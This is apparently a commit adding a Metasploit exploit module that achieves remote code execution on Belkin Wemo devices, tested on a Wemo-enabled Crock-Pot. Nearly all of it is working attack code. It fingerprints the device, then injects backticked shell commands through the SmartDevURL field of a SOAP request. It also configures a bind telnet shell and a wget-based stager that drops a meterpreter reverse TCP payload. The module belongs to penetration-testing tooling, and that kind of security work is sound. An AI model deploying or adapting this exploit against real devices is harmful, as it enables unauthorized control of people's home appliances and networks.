Add Belkin Wemo UPnP RCE (tested on Crock-Pot)
parent
69288e5f39
commit
1be838d1fd
|
@ -0,0 +1,156 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Belkin Wemo UPnP Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a command injection in the Belkin Wemo UPnP API via
|
||||
the SmartDevURL argument to the SetSmartDevInfo action.
|
||||
|
||||
This module has been tested on a Wemo-enabled Crock-Pot, but other Wemo
|
||||
devices are known to be affected, albeit on a different RPORT (49153).
|
||||
},
|
||||
'Author' => [
|
||||
'phikshun', # Discovery, UFuzz, and modules
|
||||
'wvu' # Crock-Pot testing and module
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://web.archive.org/web/20150901094849/http://disconnected.io/2014/04/04/universal-plug-and-fuzz/'],
|
||||
['URL', 'https://github.com/phikshun/ufuzz'],
|
||||
['URL', 'https://gist.github.com/phikshun/10900566'],
|
||||
['URL', 'https://gist.github.com/phikshun/9984624'],
|
||||
['URL', 'https://www.crock-pot.com/wemo-landing-page.html'],
|
||||
['URL', 'https://www.belkin.com/us/support-article?articleNum=101177'],
|
||||
['URL', 'http://www.wemo.com/']
|
||||
],
|
||||
'DisclosureDate' => '2014-04-04',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => [ARCH_CMD, ARCH_MIPSLE],
|
||||
'Privileged' => true,
|
||||
'Targets' => [
|
||||
['Crock-Pot (Unix In-Memory)',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_memory,
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 49152,
|
||||
'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd'
|
||||
}
|
||||
],
|
||||
['Crock-Pot (Linux Dropper)',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
'Type' => :linux_dropper,
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 49152,
|
||||
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 1,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK]
|
||||
}
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(49152)
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptBool.new('ForceExploit', [true, 'Override check result', false]),
|
||||
OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/setup.xml'
|
||||
)
|
||||
|
||||
if res && res.code == 200 && res.body.include?('urn:Belkin:device:')
|
||||
case res.body
|
||||
when /urn:Belkin:device:crockpot:1/
|
||||
vprint_good('Wemo-enabled Crock-Pot detected')
|
||||
return CheckCode::Appears
|
||||
end
|
||||
|
||||
vprint_status('Wemo device detected, but it is not a target')
|
||||
return CheckCode::Detected
|
||||
end
|
||||
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
checkcode = check
|
||||
|
||||
unless checkcode == CheckCode::Appears || datastore['ForceExploit']
|
||||
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
|
||||
end
|
||||
|
||||
case target['Type']
|
||||
when :unix_memory
|
||||
execute_command(payload.encoded)
|
||||
when :linux_dropper
|
||||
cmdstager = generate_cmdstager(
|
||||
flavor: 'wget',
|
||||
temp: datastore['WritableDir'],
|
||||
file: File.basename(cmdstager_path),
|
||||
noconcat: true
|
||||
)
|
||||
|
||||
# HACK: "chmod +x"
|
||||
cmdstager.unshift("cp /bin/sh #{cmdstager_path}")
|
||||
cmdstager.delete_if { |cmd| cmd.start_with?('chmod +x') }
|
||||
cmdstager = cmdstager.join(';')
|
||||
|
||||
vprint_status("Regenerated command stager: #{cmdstager}")
|
||||
execute_command(cmdstager)
|
||||
end
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => '/upnp/control/basicevent1',
|
||||
'ctype' => 'text/xml',
|
||||
'headers' => {
|
||||
'SOAPACTION' => '"urn:Belkin:service:basicevent:1#SetSmartDevInfo"'
|
||||
},
|
||||
'data' => generate_soap_xml(cmd)
|
||||
)
|
||||
end
|
||||
|
||||
def generate_soap_xml(cmd)
|
||||
<<EOF
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||||
<s:Body>
|
||||
<u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1">
|
||||
<SmartDevURL>`#{cmd}`</SmartDevURL>
|
||||
</u:SetSmartDevInfo>
|
||||
</s:Body>
|
||||
</s:Envelope>
|
||||
EOF
|
||||
end
|
||||
|
||||
def cmdstager_path
|
||||
@cmdstager_path ||=
|
||||
"#{datastore['WritableDir']}/#{rand_text_alphanumeric(8..42)}"
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue